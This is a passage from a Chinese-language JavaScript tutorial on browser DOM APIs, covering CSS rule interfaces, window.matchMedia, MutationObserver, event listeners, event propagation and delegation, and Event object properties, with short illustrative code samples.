// HTML 代码如下
// <style id="myStyle">
// @supports (display: flex) {
// @media screen and (min-width: 900px) {
// article {
// display: flex;
// }
// }
// }
// </style>
var myStyleSheet = document.getElementById('myStyle').sheet;
var ruleList = myStyleSheet.cssRules;

var rule0 = ruleList[0];
rule0.cssText
// "@supports (display: flex) {
// @media screen and (min-width: 900px) {
// article { display: flex; }
// }
// }"

// 由于这条规则内嵌其他规则,
// 所以它有 cssRules 属性,且该属性是 CSSRuleList 实例
rule0.cssRules instanceof CSSRuleList // true

var rule1 = rule0.cssRules[0];
rule1.cssText
// "@media screen and (min-width: 900px) {
// article { display: flex; }
// }"

var rule2 = rule1.cssRules[0];
rule2.cssText
// "article { display: flex; }"

rule1.parentRule === rule0 // true
rule2.parentRule === rule1 // true

(4)CSSRule.type

CSSRule.type属性返回一个整数值,表示当前规则的类型。

最常见的类型有以下几种。

  • 1:普通样式规则(CSSStyleRule 实例)
  • 3:@import规则
  • 4:@media规则(CSSMediaRule 实例)
  • 5:@font-face规则

CSSStyleRule 接口

如果一条 CSS 规则是普通的样式规则(不含特殊的 CSS 命令),那么除了 CSSRule 接口,它还部署了 CSSStyleRule 接口。

CSSStyleRule 接口有以下两个属性。

(1)CSSStyleRule.selectorText

CSSStyleRule.selectorText属性返回当前规则的选择器。

1
2
var stylesheet = document.styleSheets[0];
stylesheet.cssRules[0].selectorText // ".myClass"

注意,这个属性是可写的。

(2)CSSStyleRule.style

CSSStyleRule.style属性返回一个对象(CSSStyleDeclaration 实例),代表当前规则的样式声明,也就是选择器后面的大括号里面的部分。

1
2
3
4
5
6
7
// HTML 代码为
// <style id="myStyle">
// p { color: red; }
// </style>
var styleSheet = document.getElementById('myStyle').sheet;
styleSheet.cssRules[0].style instanceof CSSStyleDeclaration
// true

CSSStyleDeclaration 实例的cssText属性,可以返回所有样式声明,格式为字符串。

1
2
3
4
styleSheet.cssRules[0].style.cssText
// "color: red;"
styleSheet.cssRules[0].selectorText
// "p"

CSSMediaRule 接口

如果一条 CSS 规则是@media代码块,那么它除了 CSSRule 接口,还部署了 CSSMediaRule 接口。

该接口主要提供media属性和conditionText属性。前者返回代表@media规则的一个对象(MediaList 实例),后者返回@media规则的生效条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// HTML 代码如下
// <style id="myStyle">
// @media screen and (min-width: 900px) {
// article { display: flex; }
// }
// </style>
var styleSheet = document.getElementById('myStyle').sheet;
styleSheet.cssRules[0] instanceof CSSMediaRule
// true

styleSheet.cssRules[0].media
// {
// 0: "screen and (min-width: 900px)",
// appendMedium: function,
// deleteMedium: function,
// item: function,
// length: 1,
// mediaText: "screen and (min-width: 900px)"
// }

styleSheet.cssRules[0].conditionText
// "screen and (min-width: 900px)"

window.matchMedia()

基本用法

window.matchMedia方法用来将 CSS 的MediaQuery条件语句,转换成一个 MediaQueryList 实例。

1
2
var mdl = window.matchMedia('(min-width: 400px)');
mdl instanceof MediaQueryList // true

注意,如果参数不是有效的MediaQuery条件语句,window.matchMedia不会报错,依然返回一个 MediaQueryList 实例。

1
window.matchMedia('bad string') instanceof MediaQueryList // true

MediaQueryList 接口的实例属性

MediaQueryList 实例有三个属性。

(1)MediaQueryList.media

MediaQueryList.media属性返回一个字符串,表示对应的 MediaQuery 条件语句。

1
2
var mql = window.matchMedia('(min-width: 400px)');
mql.media // "(min-width: 400px)"

(2)MediaQueryList.matches

MediaQueryList.matches属性返回一个布尔值,表示当前页面是否符合指定的 MediaQuery 条件语句。

1
2
3
4
5
if (window.matchMedia('(min-width: 400px)').matches) {
/* 当前视口不小于 400 像素 */
} else {
/* 当前视口小于 400 像素 */
}

下面的例子根据mediaQuery是否匹配当前环境,加载相应的 CSS 样式表。

1
2
3
4
5
6
7
8
9
10
var result = window.matchMedia("(max-width: 700px)");

if (result.matches){
var linkElm = document.createElement('link');
linkElm.setAttribute('rel', 'stylesheet');
linkElm.setAttribute('type', 'text/css');
linkElm.setAttribute('href', 'small.css');

document.head.appendChild(linkElm);
}

(3)MediaQueryList.onchange

如果 MediaQuery 条件语句的适配环境发生变化,会触发change事件。MediaQueryList.onchange属性用来指定change事件的监听函数。该函数的参数是change事件对象(MediaQueryListEvent 实例),该对象与 MediaQueryList 实例类似,也有mediamatches属性。

1
2
3
4
5
6
7
8
9
var mql = window.matchMedia('(max-width: 600px)');

mql.onchange = function(e) {
if (e.matches) {
/* 视口不超过 600 像素 */
} else {
/* 视口超过 600 像素 */
}
}

上面代码中,change事件发生后,存在两种可能。一种是显示宽度从700像素以上变为以下,另一种是从700像素以下变为以上,所以在监听函数内部要判断一下当前是哪一种情况。

MediaQueryList 接口的实例方法

MediaQueryList 实例有两个方法MediaQueryList.addListener()MediaQueryList.removeListener(),用来为change事件添加或撤销监听函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var mql = window.matchMedia('(max-width: 600px)');

// 指定监听函数
mql.addListener(mqCallback);

// 撤销监听函数
mql.removeListener(mqCallback);

function mqCallback(e) {
if (e.matches) {
/* 视口不超过 600 像素 */
} else {
/* 视口超过 600 像素 */
}
}

Mutation Observer API

概述

Mutation Observer API 用来监视 DOM 变动。DOM 的任何变动,比如节点的增减、属性的变动、文本内容的变动,这个 API 都可以得到通知。

概念上,它很接近事件,可以理解为 DOM 发生变动就会触发 Mutation Observer 事件。但是,它与事件有一个本质不同:事件是同步触发,也就是说,DOM 的变动立刻会触发相应的事件;Mutation Observer 则是异步触发,DOM 的变动并不会马上触发,而是要等到当前所有 DOM 操作都结束才触发。

这样设计是为了应付 DOM 变动频繁的特点。举例来说,如果文档中连续插入1000个<p>元素,就会连续触发1000个插入事件,执行每个事件的回调函数,这很可能造成浏览器的卡顿;而 Mutation Observer 完全不同,只在1000个段落都插入结束后才会触发,而且只触发一次。

Mutation Observer 有以下特点。

  • 它等待所有脚本任务完成后,才会运行(即异步触发方式)。
  • 它把 DOM 变动记录封装成一个数组进行处理,而不是一条条个别处理 DOM 变动。
  • 它既可以观察 DOM 的所有类型变动,也可以指定只观察某一类变动。

MutationObserver 构造函数

使用时,首先使用MutationObserver构造函数,新建一个观察器实例,同时指定这个实例的回调函数。

1
var observer = new MutationObserver(callback);

上面代码中的回调函数,会在每次 DOM 变动后调用。该回调函数接受两个参数,第一个是变动数组,第二个是观察器实例,下面是一个例子。

1
2
3
4
5
var observer = new MutationObserver(function (mutations, observer) {
mutations.forEach(function(mutation) {
console.log(mutation);
});
});

MutationObserver 的实例方法

observe()

observe方法用来启动监听,它接受两个参数。

  • 第一个参数:所要观察的 DOM 节点
  • 第二个参数:一个配置对象,指定所要观察的特定变动
1
2
3
4
5
6
7
8
var article = document.querySelector('article');

var options = {
'childList': true,
'attributes':true
} ;

observer.observe(article, options);

上面代码中,observe方法接受两个参数,第一个是所要观察的DOM元素是article,第二个是所要观察的变动类型(子节点变动和属性变动)。

观察器所能观察的 DOM 变动类型(即上面代码的options对象),有以下几种。

  • childList:子节点的变动(指新增,删除或者更改)。
  • attributes:属性的变动。
  • characterData:节点内容或节点文本的变动。

想要观察哪一种变动类型,就在option对象中指定它的值为true。需要注意的是,必须同时指定childListattributescharacterData中的一种或多种,若未均指定将报错。

除了变动类型,options对象还可以设定以下属性:

  • subtree:布尔值,表示是否将该观察器应用于该节点的所有后代节点。
  • attributeOldValue:布尔值,表示观察attributes变动时,是否需要记录变动前的属性值。
  • characterDataOldValue:布尔值,表示观察characterData变动时,是否需要记录变动前的值。
  • attributeFilter:数组,表示需要观察的特定属性(比如['class','src'])。
1
2
3
4
5
6
7
8
9
// 开始监听文档根节点(即<html>标签)的变动
mutationObserver.observe(document.documentElement, {
attributes: true,
characterData: true,
childList: true,
subtree: true,
attributeOldValue: true,
characterDataOldValue: true
});

对一个节点添加观察器,就像使用addEventListener方法一样,多次添加同一个观察器是无效的,回调函数依然只会触发一次。但是,如果指定不同的options对象,就会被当作两个不同的观察器。

下面的例子是观察新增的子节点。

1
2
3
4
5
6
7
8
9
10
var insertedNodes = [];
var observer = new MutationObserver(function(mutations) {
mutations.forEach(function(mutation) {
for (var i = 0; i < mutation.addedNodes.length; i++) {
insertedNodes.push(mutation.addedNodes[i]);
}
});
console.log(insertedNodes);
});
observer.observe(document, { childList: true, subtree: true });

disconnect(),takeRecords()

disconnect方法用来停止观察。调用该方法后,DOM 再发生变动,也不会触发观察器。

1
observer.disconnect();

takeRecords方法用来清除变动记录,即不再处理未处理的变动。该方法返回变动记录的数组。

1
observer.takeRecords();

下面是一个例子。

1
2
3
4
5
// 保存所有没有被观察器处理的变动
var changes = mutationObserver.takeRecords();

// 停止观察
mutationObserver.disconnect();

MutationRecord 对象

DOM 每次发生变化,就会生成一条变动记录(MutationRecord 实例)。该实例包含了与变动相关的所有信息。Mutation Observer 处理的就是一个个MutationRecord实例所组成的数组。

MutationRecord对象包含了DOM的相关信息,有如下属性:

  • type:观察的变动类型(attributescharacterData或者childList)。
  • target:发生变动的DOM节点。
  • addedNodes:新增的DOM节点。
  • removedNodes:删除的DOM节点。
  • previousSibling:前一个同级节点,如果没有则返回null
  • nextSibling:下一个同级节点,如果没有则返回null
  • attributeName:发生变动的属性。如果设置了attributeFilter,则只返回预先指定的属性。
  • oldValue:变动前的值。这个属性只对attributecharacterData变动有效,如果发生childList变动,则返回null

应用示例

子元素的变动

下面的例子说明如何读取变动记录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var callback = function (records){
records.map(function(record){
console.log('Mutation type: ' + record.type);
console.log('Mutation target: ' + record.target);
});
};

var mo = new MutationObserver(callback);

var option = {
'childList': true,
'subtree': true
};

mo.observe(document.body, option);

上面代码的观察器,观察<body>的所有下级节点(childList表示观察子节点,subtree表示观察后代节点)的变动。回调函数会在控制台显示所有变动的类型和目标节点。

属性的变动

下面的例子说明如何追踪属性的变动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var callback = function (records) {
records.map(function (record) {
console.log('Previous attribute value: ' + record.oldValue);
});
};

var mo = new MutationObserver(callback);

var element = document.getElementById('#my_element');

var options = {
'attributes': true,
'attributeOldValue': true
}

mo.observe(element, options);

上面代码先设定追踪属性变动('attributes': true),然后设定记录变动前的值。实际发生变动时,会将变动前的值显示在控制台。

取代 DOMContentLoaded 事件

网页加载的时候,DOM 节点的生成会产生变动记录,因此只要观察 DOM 的变动,就能在第一时间触发相关事件,也就没有必要使用DOMContentLoaded事件。

1
2
3
4
5
var observer = new MutationObserver(callback);
observer.observe(document.documentElement, {
childList: true,
subtree: true
});

上面代码中,监听document.documentElement(即网页的<html>HTML 节点)的子节点的变动,subtree属性指定监听还包括后代节点。因此,任意一个网页元素一旦生成,就能立刻被监听到。

下面的代码,使用MutationObserver对象封装一个监听 DOM 生成的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
(function(win){
'use strict';

var listeners = [];
var doc = win.document;
var MutationObserver = win.MutationObserver || win.WebKitMutationObserver;
var observer;

function ready(selector, fn){
// 储存选择器和回调函数
listeners.push({
selector: selector,
fn: fn
});
if(!observer){
// 监听document变化
observer = new MutationObserver(check);
observer.observe(doc.documentElement, {
childList: true,
subtree: true
});
}
// 检查该节点是否已经在DOM中
check();
}

function check(){
// 检查是否匹配已储存的节点
for(var i = 0; i < listeners.length; i++){
var listener = listeners[i];
// 检查指定节点是否有匹配
var elements = doc.querySelectorAll(listener.selector);
for(var j = 0; j < elements.length; j++){
var element = elements[j];
// 确保回调函数只会对该元素调用一次
if(!element.ready){
element.ready = true;
// 对该节点调用回调函数
listener.fn.call(element, element);
}
}
}
}

// 对外暴露ready
win.ready = ready;

})(this);

// 使用方法
ready('.foo', function(element){
// ...
});

参考链接

事件

EventTarget 接口

事件的本质是程序各个组成部分之间的一种通信方式,也是异步编程的一种实现。DOM 支持大量的事件,本章开始介绍 DOM 的事件编程。

概述

DOM 的事件操作(监听和触发),都定义在EventTarget接口。所有节点对象都部署了这个接口,其他一些需要事件通信的浏览器内置对象(比如,XMLHttpRequestAudioNodeAudioContext)也部署了这个接口。

该接口主要提供三个实例方法。

  • addEventListener:绑定事件的监听函数
  • removeEventListener:移除事件的监听函数
  • dispatchEvent:触发事件

EventTarget.addEventListener()

EventTarget.addEventListener()用于在当前节点或对象上,定义一个特定事件的监听函数。一旦这个事件发生,就会执行监听函数。该方法没有返回值。

1
target.addEventListener(type, listener[, useCapture]);

该方法接受三个参数。

  • type:事件名称,大小写敏感。
  • listener:监听函数。事件发生时,会调用该监听函数。
  • useCapture:布尔值,表示监听函数是否在捕获阶段(capture)触发(参见后文《事件的传播》部分),默认为false(监听函数只在冒泡阶段被触发)。该参数可选。

下面是一个例子。

1
2
3
4
5
6
function hello() {
console.log('Hello world');
}

var button = document.getElementById('btn');
button.addEventListener('click', hello, false);

上面代码中,button节点的addEventListener方法绑定click事件的监听函数hello,该函数只在冒泡阶段触发。

关于参数,有两个地方需要注意。

首先,第二个参数除了监听函数,还可以是一个具有handleEvent方法的对象。

1
2
3
4
5
buttonElement.addEventListener('click', {
handleEvent: function (event) {
console.log('click');
}
});

上面代码中,addEventListener方法的第二个参数,就是一个具有handleEvent方法的对象。

其次,第三个参数除了布尔值useCapture,还可以是一个属性配置对象。该对象有以下属性。

  • capture:布尔值,表示该事件是否在捕获阶段触发监听函数。
  • once:布尔值,表示监听函数是否只触发一次,然后就自动移除。
  • passive:布尔值,表示监听函数不会调用事件的preventDefault方法。如果监听函数调用了,浏览器将忽略这个要求,并在监控台输出一行警告。

如果希望事件监听函数只执行一次,可以打开属性配置对象的once属性。

1
2
3
element.addEventListener('click', function (event) {
// 只执行一次的代码
}, {once: true});

addEventListener方法可以为针对当前对象的同一个事件,添加多个不同的监听函数。这些函数按照添加顺序触发,即先添加先触发。如果为同一个事件多次添加同一个监听函数,该函数只会执行一次,多余的添加将自动被去除(不必使用removeEventListener方法手动去除)。

1
2
3
4
5
6
function hello() {
console.log('Hello world');
}

document.addEventListener('click', hello, false);
document.addEventListener('click', hello, false);

执行上面代码,点击文档只会输出一行Hello world

如果希望向监听函数传递参数,可以用匿名函数包装一下监听函数。

1
2
3
4
5
6
function print(x) {
console.log(x);
}

var el = document.getElementById('div1');
el.addEventListener('click', function () { print('Hello'); }, false);

上面代码通过匿名函数,向监听函数print传递了一个参数。

监听函数内部的this,指向当前事件所在的那个对象。

1
2
3
4
5
6
// HTML 代码如下
// <p id="para">Hello</p>
var para = document.getElementById('para');
para.addEventListener('click', function (e) {
console.log(this.nodeName); // "P"
}, false);

上面代码中,监听函数内部的this指向事件所在的对象para

EventTarget.removeEventListener()

EventTarget.removeEventListener方法用来移除addEventListener方法添加的事件监听函数。该方法没有返回值。

1
2
div.addEventListener('click', listener, false);
div.removeEventListener('click', listener, false);

removeEventListener方法的参数,与addEventListener方法完全一致。它的第一个参数“事件类型”,大小写敏感。

注意,removeEventListener方法移除的监听函数,必须是addEventListener方法添加的那个监听函数,而且必须在同一个元素节点,否则无效。

1
2
div.addEventListener('click', function (e) {}, false);
div.removeEventListener('click', function (e) {}, false);

上面代码中,removeEventListener方法无效,因为监听函数不是同一个匿名函数。

1
2
element.addEventListener('mousedown', handleMouseDown, true);
element.removeEventListener("mousedown", handleMouseDown, false);

上面代码中,removeEventListener方法也是无效的,因为第三个参数不一样。

EventTarget.dispatchEvent()

EventTarget.dispatchEvent方法在当前节点上触发指定事件,从而触发监听函数的执行。该方法返回一个布尔值,只要有一个监听函数调用了Event.preventDefault(),则返回值为false,否则为true

1
target.dispatchEvent(event)

dispatchEvent方法的参数是一个Event对象的实例(详见《Event 对象》章节)。

1
2
3
para.addEventListener('click', hello, false);
var event = new Event('click');
para.dispatchEvent(event);

上面代码在当前节点触发了click事件。

如果dispatchEvent方法的参数为空,或者不是一个有效的事件对象,将报错。

下面代码根据dispatchEvent方法的返回值,判断事件是否被取消了。

1
2
3
4
5
6
var canceled = !cb.dispatchEvent(event);
if (canceled) {
console.log('事件取消');
} else {
console.log('事件未取消');
}

事件模型

监听函数

浏览器的事件模型,就是通过监听函数(listener)对事件做出反应。事件发生后,浏览器监听到了这个事件,就会执行对应的监听函数。这是事件驱动编程模式(event-driven)的主要编程方式。

JavaScript 有三种方法,可以为事件绑定监听函数。

HTML 的 on- 属性

HTML 语言允许在元素的属性中,直接定义某些事件的监听代码。

1
2
<body onload="doSomething()">
<div onclick="console.log('触发事件')">

上面代码为body节点的load事件、div节点的click事件,指定了监听代码。一旦事件发生,就会执行这段代码。

元素的事件监听属性,都是on加上事件名,比如onload就是on + load,表示load事件的监听代码。

注意,这些属性的值是将会执行的代码,而不是一个函数。

1
2
3
4
5
<!-- 正确 -->
<body onload="doSomething()">

<!-- 错误 -->
<body onload="doSomething">

一旦指定的事件发生,on-属性的值是原样传入 JavaScript 引擎执行。因此如果要执行函数,不要忘记加上一对圆括号。

使用这个方法指定的监听代码,只会在冒泡阶段触发。

1
2
3
<div onClick="console.log(2)">
<button onClick="console.log(1)">点击</button>
</div>

上面代码中,<button><div>的子元素。<button>click事件,也会触发<div>click事件。由于on-属性的监听代码,只在冒泡阶段触发,所以点击结果是先输出1,再输出2,即事件从子元素开始冒泡到父元素。

直接设置on-属性,与通过元素节点的setAttribute方法设置on-属性,效果是一样的。

1
2
3
el.setAttribute('onclick', 'doSomething()');
// 等同于
// <Element onclick="doSomething()">

元素节点的事件属性

元素节点对象的事件属性,同样可以指定监听函数。

1
2
3
4
5
window.onload = doSomething;

div.onclick = function (event) {
console.log('触发事件');
};

使用这个方法指定的监听函数,也是只会在冒泡阶段触发。

注意,这种方法与 HTML 的on-属性的差异是,它的值是函数名(doSomething),而不像后者,必须给出完整的监听代码(doSomething())。

EventTarget.addEventListener()

所有 DOM 节点实例都有addEventListener方法,用来为该节点定义事件的监听函数。

1
window.addEventListener('load', doSomething, false);

addEventListener方法的详细介绍,参见EventTarget章节。

小结

上面三种方法,第一种“HTML 的 on- 属性”,违反了 HTML 与 JavaScript 代码相分离的原则,将两者写在一起,不利于代码分工,因此不推荐使用。

第二种“元素节点的事件属性”的缺点在于,同一个事件只能定义一个监听函数,也就是说,如果定义两次onclick属性,后一次定义会覆盖前一次。因此,也不推荐使用。

第三种EventTarget.addEventListener是推荐的指定监听函数的方法。它有如下优点:

  • 同一个事件可以添加多个监听函数。
  • 能够指定在哪个阶段(捕获阶段还是冒泡阶段)触发监听函数。
  • 除了 DOM 节点,其他对象(比如windowXMLHttpRequest等)也有这个接口,它等于是整个 JavaScript 统一的监听函数接口。

this 的指向

监听函数内部的this指向触发事件的那个元素节点。

1
<button id="btn" onclick="console.log(this.id)">点击</button>

执行上面代码,点击后会输出btn

其他两种监听函数的写法,this的指向也是如此。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// HTML 代码如下
// <button id="btn">点击</button>
var btn = document.getElementById('btn');

// 写法一
btn.onclick = function () {
console.log(this.id);
};

// 写法二
btn.addEventListener(
'click',
function (e) {
console.log(this.id);
},
false
);

上面两种写法,点击按钮以后也是输出btn

事件的传播

一个事件发生后,会在子元素和父元素之间传播(propagation)。这种传播分成三个阶段。

  • 第一阶段:从window对象传导到目标节点(上层传到底层),称为“捕获阶段”(capture phase)。
  • 第二阶段:在目标节点上触发,称为“目标阶段”(target phase)。
  • 第三阶段:从目标节点传导回window对象(从底层传回上层),称为“冒泡阶段”(bubbling phase)。

这种三阶段的传播模型,使得同一个事件会在多个节点上触发。

1
2
3
<div>
<p>点击</p>
</div>

上面代码中,<div>节点之中有一个<p>节点。

如果对这两个节点,都设置click事件的监听函数(每个节点的捕获阶段和冒泡阶段,各设置一个监听函数),共计设置四个监听函数。然后,对<p>点击,click事件会触发四次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var phases = {
1: 'capture',
2: 'target',
3: 'bubble'
};

var div = document.querySelector('div');
var p = document.querySelector('p');

div.addEventListener('click', callback, true);
p.addEventListener('click', callback, true);
div.addEventListener('click', callback, false);
p.addEventListener('click', callback, false);

function callback(event) {
var tag = event.currentTarget.tagName;
var phase = phases[event.eventPhase];
console.log("Tag: '" + tag + "'. EventPhase: '" + phase + "'");
}

// 点击以后的结果
// Tag: 'DIV'. EventPhase: 'capture'
// Tag: 'P'. EventPhase: 'target'
// Tag: 'P'. EventPhase: 'target'
// Tag: 'DIV'. EventPhase: 'bubble'

上面代码表示,click事件被触发了四次:<div>节点的捕获阶段和冒泡阶段各1次,<p>节点的目标阶段触发了2次。

  1. 捕获阶段:事件从<div><p>传播时,触发<div>click事件;
  2. 目标阶段:事件从<div>到达<p>时,触发<p>click事件;
  3. 冒泡阶段:事件从<p>传回<div>时,再次触发<div>click事件。

其中,<p>节点有两个监听函数(addEventListener方法第三个参数的不同,会导致绑定两个监听函数),因此它们都会因为click事件触发一次。所以,<p>会在target阶段有两次输出。

注意,浏览器总是假定click事件的目标节点,就是点击位置嵌套最深的那个节点(本例是<div>节点里面的<p>节点)。所以,<p>节点的捕获阶段和冒泡阶段,都会显示为target阶段。

事件传播的最上层对象是window,接着依次是documenthtmldocument.documentElement)和bodydocument.body)。也就是说,上例的事件传播顺序,在捕获阶段依次为windowdocumenthtmlbodydivp,在冒泡阶段依次为pdivbodyhtmldocumentwindow

事件的代理

由于事件会在冒泡阶段向上传播到父节点,因此可以把子节点的监听函数定义在父节点上,由父节点的监听函数统一处理多个子元素的事件。这种方法叫做事件的代理(delegation)。

1
2
3
4
5
6
7
var ul = document.querySelector('ul');

ul.addEventListener('click', function (event) {
if (event.target.tagName.toLowerCase() === 'li') {
// some code
}
});

上面代码中,click事件的监听函数定义在<ul>节点,但是实际上,它处理的是子节点<li>click事件。这样做的好处是,只要定义一个监听函数,就能处理多个子节点的事件,而不用在每个<li>节点上定义监听函数。而且以后再添加子节点,监听函数依然有效。

如果希望事件到某个节点为止,不再传播,可以使用事件对象的stopPropagation方法。

1
2
3
4
5
6
7
8
9
// 事件传播到 p 元素后,就不再向下传播了
p.addEventListener('click', function (event) {
event.stopPropagation();
}, true);

// 事件冒泡到 p 元素后,就不再向上冒泡了
p.addEventListener('click', function (event) {
event.stopPropagation();
}, false);

上面代码中,stopPropagation方法分别在捕获阶段和冒泡阶段,阻止了事件的传播。

但是,stopPropagation方法只会阻止事件的传播,不会阻止该事件触发<p>节点的其他click事件的监听函数。也就是说,不是彻底取消click事件。

1
2
3
4
5
6
7
8
9
p.addEventListener('click', function (event) {
event.stopPropagation();
console.log(1);
});

p.addEventListener('click', function(event) {
// 会触发
console.log(2);
});

上面代码中,p元素绑定了两个click事件的监听函数。stopPropagation方法只能阻止这个事件的传播,不能取消这个事件,因此,第二个监听函数会触发。输出结果会先是1,然后是2。

如果想要彻底取消该事件,不再触发后面所有click的监听函数,可以使用stopImmediatePropagation方法。

1
2
3
4
5
6
7
8
9
p.addEventListener('click', function (event) {
event.stopImmediatePropagation();
console.log(1);
});

p.addEventListener('click', function(event) {
// 不会被触发
console.log(2);
});

上面代码中,stopImmediatePropagation方法可以彻底取消这个事件,使得后面绑定的所有click监听函数都不再触发。所以,只会输出1,不会输出2。

Event 对象

概述

事件发生以后,会产生一个事件对象,作为参数传给监听函数。浏览器原生提供一个Event对象,所有的事件都是这个对象的实例,或者说继承了Event.prototype对象。

Event对象本身就是一个构造函数,可以用来生成新的实例。

1
event = new Event(type, options);

Event构造函数接受两个参数。第一个参数type是字符串,表示事件的名称;第二个参数options是一个对象,表示事件对象的配置。该对象主要有下面两个属性。

  • bubbles:布尔值,可选,默认为false,表示事件对象是否冒泡。
  • cancelable:布尔值,可选,默认为false,表示事件是否可以被取消,即能否用Event.preventDefault()取消这个事件。一旦事件被取消,就好像从来没有发生过,不会触发浏览器对该事件的默认行为。
1
2
3
4
5
6
7
8
var ev = new Event(
'look',
{
'bubbles': true,
'cancelable': false
}
);
document.dispatchEvent(ev);

上面代码新建一个look事件实例,然后使用dispatchEvent方法触发该事件。

注意,如果不是显式指定bubbles属性为true,生成的事件就只能在“捕获阶段”触发监听函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// HTML 代码为
// <div><p>Hello</p></div>
var div = document.querySelector('div');
var p = document.querySelector('p');

function callback(event) {
var tag = event.currentTarget.tagName;
console.log('Tag: ' + tag); // 没有任何输出
}

div.addEventListener('click', callback, false);

var click = new Event('click');
p.dispatchEvent(click);

上面代码中,p元素发出一个click事件,该事件默认不会冒泡。div.addEventListener方法指定在冒泡阶段监听,因此监听函数不会触发。如果写成div.addEventListener('click', callback, true),那么在“捕获阶段”可以监听到这个事件。

另一方面,如果这个事件在div元素上触发。

1
div.dispatchEvent(click);

那么,不管div元素是在冒泡阶段监听,还是在捕获阶段监听,都会触发监听函数。因为这时div元素是事件的目标,不存在是否冒泡的问题,div元素总是会接收到事件,因此导致监听函数生效。

实例属性

Event.bubbles,Event.eventPhase

Event.bubbles属性返回一个布尔值,表示当前事件是否会冒泡。该属性为只读属性,一般用来了解 Event 实例是否可以冒泡。前面说过,除非显式声明,Event构造函数生成的事件,默认是不冒泡的。

Event.eventPhase属性返回一个整数常量,表示事件目前所处的阶段。该属性只读。

1
var phase = event.eventPhase;

Event.eventPhase的返回值有四种可能。

  • 0,事件目前没有发生。
  • 1,事件目前处于捕获阶段,即处于从祖先节点向目标节点的传播过程中。
  • 2,事件到达目标节点,即Event.target属性指向的那个节点。
  • 3,事件处于冒泡阶段,即处于从目标节点向祖先节点的反向传播过程中。

Event.cancelable,Event.cancelBubble,event.defaultPrevented

Event.cancelable属性返回一个布尔值,表示事件是否可以取消。该属性为只读属性,一般用来了解 Event 实例的特性。

大多数浏览器的原生事件是可以取消的。比如,取消click事件,点击链接将无效。但是除非显式声明,Event构造函数生成的事件,默认是不可以取消的。

1
2
var evt = new Event('foo');
evt.cancelable // false

Event.cancelable属性为true时,调用Event.preventDefault()就可以取消这个事件,阻止浏览器对该事件的默认行为。

如果事件不能取消,调用Event.preventDefault()会没有任何效果。所以使用这个方法之前,最好用Event.cancelable属性判断一下是否可以取消。

1
2
3
4
5
6
7
8
function preventEvent(event) {
if (event.cancelable) {
event.preventDefault();
} else {
console.warn('This event couldn\'t be canceled.');
console.dir(event);
}
}

Event.cancelBubble属性是一个布尔值,如果设为true,相当于执行Event.stopPropagation(),可以阻止事件的传播。

Event.defaultPrevented属性返回一个布尔值,表示该事件是否调用过Event.preventDefault方法。该属性只读。

1
2
3
if (event.defaultPrevented) {
console.log('该事件已经取消了');
}

Event.currentTarget,Event.target

事件发生以后,会经过捕获和冒泡两个阶段,依次通过多个 DOM 节点。因此,任意时点都有两个与事件相关的节点,一个是事件的原始触发节点(Event.target),另一个是事件当前正在通过的节点(Event.currentTarget)。前者通常是后者的后代节点。

Event.currentTarget属性返回事件当前所在的节点,即事件当前正在通过的节点,也就是当前正在执行的监听函数所在的那个节点。随着事件的传播,这个属性的值会变。

Event.target属性返回原始触发事件的那个节点,即事件最初发生的节点。这个属性不会随着事件的传播而改变。

事件传播过程中,不同节点的监听函数内部的Event.targetEvent.currentTarget属性的值是不一样的。

1
2
3
4
5
6
7
8
9
10
11
12
// HTML 代码为
// <p id="para">Hello <em>World</em></p>
function hide(e) {
// 不管点击 Hello 或 World,总是返回 true
console.log(this === e.currentTarget);

// 点击 Hello,返回 true
// 点击 World,返回 false
console.log(this === e.target);
}

document.getElementById('para').addEventListener('click', hide, false);

上面代码中,<em><p>的子节点,点击<em>或者点击<p>,都会导致监听函数执行。这时,e.target总是指向原始点击位置的那个节点,而e.currentTarget指向事件传播过程中正在经过的那个节点。由于监听函数只有事件经过时才会触发,所以e.currentTarget总是等同于监听函数内部的this

Event.type

Event.type属性返回一个字符串,表示事件类型。事件的类型是在生成事件的时候指定的。该属性只读。

1
2
var evt = new Event('foo');
evt.type // "foo"

Event.timeStamp

Event.timeStamp属性返回一个毫秒时间戳,表示事件发生的时间。它是相对于网页加载成功开始计算的。

1
2
var evt = new Event('foo');
evt.timeStamp // 3683.6999999995896

它的返回值有可能是整数,也有可能是小数(高精度时间戳),取决于浏览器的设置。

下面是一个计算鼠标移动速度的例子,显示每秒移动的像素数量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var previousX;
var previousY;
var previousT;

window.addEventListener('mousemove', function(event) {
if (
previousX !== undefined &&
previousY !== undefined &&
previousT !== undefined
) {
var deltaX = event.screenX - previousX;
var deltaY = event.screenY - previousY;
var deltaD = Math.sqrt(Math.pow(deltaX, 2) + Math.pow(deltaY, 2));

var deltaT = event.timeStamp - previousT;
console.log(deltaD / deltaT * 1000);
}

previousX = event.screenX;
previousY = event.screenY;
previousT = event.timeStamp;
});

Event.isTrusted

Event.isTrusted属性返回一个布尔值,表示该事件是否由真实的用户行为产生。比如,用户点击链接会产生一个click事件,该事件是用户产生的;Event构造函数生成的事件,则是脚本产生的。

1
2
var evt = new Event('foo');
evt.isTrusted // false

上面代码中,evt对象是脚本产生的,所以isTrusted属性返回false

Event.detail

Event.detail属性只有浏览器的 UI (用户界面)事件才具有。该属性返回一个数值,表示事件的某种信息。具体含义与事件类型相关。比如,对于clickdblclick事件,Event.detail是鼠标按下的次数(1表示单击,2表示双击,3表示三击);对于鼠标滚轮事件,Event.detail是滚轮正向滚动的距离,负值就是负向滚动的距离,返回值总是3的倍数。

1
2
3
4
5
6
7
// HTML 代码如下
// <p>Hello</p>
function giveDetails(e) {
console.log(e.detail);
}

document.querySelector('p').onclick = giveDetails;

实例方法

Event.preventDefault()

